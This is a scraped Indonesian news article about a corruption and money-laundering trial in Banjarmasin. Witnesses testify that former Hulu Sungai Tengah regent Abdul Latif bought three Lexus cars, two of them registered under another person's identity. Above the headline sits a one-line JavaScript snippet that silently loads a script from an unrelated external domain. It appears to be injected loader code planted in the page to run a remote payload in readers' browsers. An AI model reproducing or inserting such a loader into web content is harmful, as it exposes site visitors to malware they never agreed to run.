(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sidang Korupsi Mantan Bupati HST: Beli 3 Mobil Mewah, 2 Lexus Pakai Nama Orang Lain


KANALKALIMANTAN.COM, BANJARMASIN – Terdakwa kasus suap dan tindak pidana pencucian uang (TPPU) Abdul Latif kembali menjalani sidang lanjutan di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Rabu (31/5/2023) siang.

Kali ini, sidang menghadirkan sejumlah saksi terkait aset terdakwa mantan Bupati Hulu Sungai Tengah (HST) yang disinyalir berasal dari TPPU.

Seorang saksi dari Lexus Indonesia di bawah PT Toyota Astra Motor di sebuah cabang Jakarta dihadirkan JPU KPK untuk menerangkan pembelian mobil mewah yang dilakukan terdakwa.

Sidang lanjutan kasus suap dan tindak pidana pencucian uang (TPPU) dengan terdakwa mantan Bupati Hulu Sungai Tengah (HST) Abdul Latif. Foto: Rizki

Berdasarkan catatan karyawan Lexus Indonesia tersebut, ada tiga buah mobil merk Lexus yang dibeli Abdul Latif diantaranya pada tahun 2014, Februari 2016, dan Oktober 2016.

Namun, dua buah mobil Lexus yang dibeli pada tahun 2016 pemesanan tidak dilakukan atas nama Abdul Latif, akan tetapi atas nama saksi Bambang Setiawan, warga Jakarta.

Baca juga: Badan Pengelola Masjid Raya Sabilal Muhtadin Susun Program Kerja Lima Tahun

“Data saya ada tiga mobil Lexus. 2014 warna putih pemesanan atas nama Abdul Latif, blue 9 Februari 2016 atas nama Bambang Setiawan, dan putih 11 Oktober 2016 atas nama Bambang Setiawan,” ungkap Meinisa dalam persidangan.

Meskipun pemesanan dilakukan oleh Bambang Setiawan yang beralamat di Jakarta, namun tanda tangan penerimaan mobil dilakukan oleh terdakwa Abdul Latif yang beralamat di Kabupaten HST, Kalsel.

Seorang pengusaha rental yang menjadi langganan untuk menyetirkan terdakwa Abdul Latif ketika di Jakarta juga mengaku membantu pembelian mobil mewah berharga miliaran rupiah tersebut.

Dia juga yang meminta Bambang Setiawan untuk memberikan KTP dan NPWP sebagai persyaratan pemesanan dua buah mobil merk Lexus tahun 2016 yang harganya sekitar Rp 3 miliar per unit.

“Karena Bambang orang yang saya kenal, jadi pakai nama dia,” kata saksi Hanif Ferdianto.

Menurutnya, Bambang Setiawan tidak meminta fee berupa uang ketika memberikan KTP, hanya meminta diselesaikan pengurusan balik nama kendaraan miliknya.

“Mau balik nama atau cabut berkas, dia minta dibayarkan itu 1 jutaan,” ucap saksi Hanif.

Dalalm persidangan, JPU juga memperlihatkan barang bukti pembelian berupa bukti pemesanan mobil dan kuitansi yang beratas nama Bambang Setiawan. Salah satunya mobil merk Lexus LX570 tahun 2016 berwarna putih tertulis Rp 2.985.000.000.

Baca juga: Saidi Mansyur Sampaikan Raperda tentang Ripparda

Sementara itu, diketahui sejumlah mobil mewah yang dibeli terdakwa Abdul Latif telah dilakukan penyitaan oleh penyidik KPK karena disinyalir uang pembelian hasil dari suap saat dirinya masih menjabat Bupati HST 2016-2017.

Sebelumnya, terdakwa Abdul Aktif didakwa melakukan tindak pidana suap dan TPPU sebesar Rp 41 miliar saat dirinya masih mejabat Bupati HST 2016-2018.

Abdul Latif didakwa pasal berlapis, yaitu Pasal 12 B Jo Pasal 18 Undang-Undang Tipikor dan dakwaan kedua Pasal 3 Undang-undang Nomor 8 Tahun 2019 tentang Tindak Pidana Pencucian Uang (TPPU) Jo Pasal 65 Ayat (1) KUHP. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

9 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

9 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

10 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

11 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

16 jam ago

This website uses cookies.